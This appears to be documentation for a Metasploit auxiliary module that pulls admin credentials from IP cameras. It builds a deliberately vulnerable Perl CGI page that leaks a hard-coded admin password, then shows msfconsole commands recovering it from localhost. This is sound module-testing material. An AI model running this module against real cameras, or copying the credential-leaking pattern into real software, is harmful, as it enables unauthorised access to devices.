Vulnerable Application
This module has been verified against the mock vulnerable page listed below.
Mock Vulnerable Page
These instructions will create a cgi environment and a vulnerable perl application for exploitation. Kali rolling (2019.1) was utilized for this tutorial, with apache.
Setup
- Enable cgi:
a2enmod cgid
mkdir /var/www/html/cgi-bin
- Enable folder for cgi execution: add
ScriptAlias "/cgi-bin/" "/var/www/html/cgi-bin/"
to/etc/apache2/sites-enabled/000-default.conf
inside of theVirtualHost
tags - Create the vulnerable page by writing the following text to
/var/www/html/cgi-bin/readfile.cgi
:
#!/usr/bin/perl
use CGI qw(:standard);
$query = new CGI;
print $query->header( -type=> "text/javascript"),
$query->import_names( 'Q' );
my $data = <<'DATA';
var Adm_ID="admin";
var Adm_Pass1="password";
var Language="en";
var Logoff_Time="0";
DATA
if ($Q::query == "ADMINID") {
print $data;
}
Verification Steps
- Start msfconsole
use auxiliary/gather/ipcamera_password_disclosure
set rhosts [rhosts]
run
Scenarios
Against the Mock page listed above
msf5 > use auxiliary/gather/ipcamera_password_disclosure
msf5 auxiliary(gather/ipcamera_password_disclosure) > set rhosts 127.0.0.1
rhosts => 127.0.0.1
msf5 auxiliary(gather/ipcamera_password_disclosure) > run
[+] Found: admin:password
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
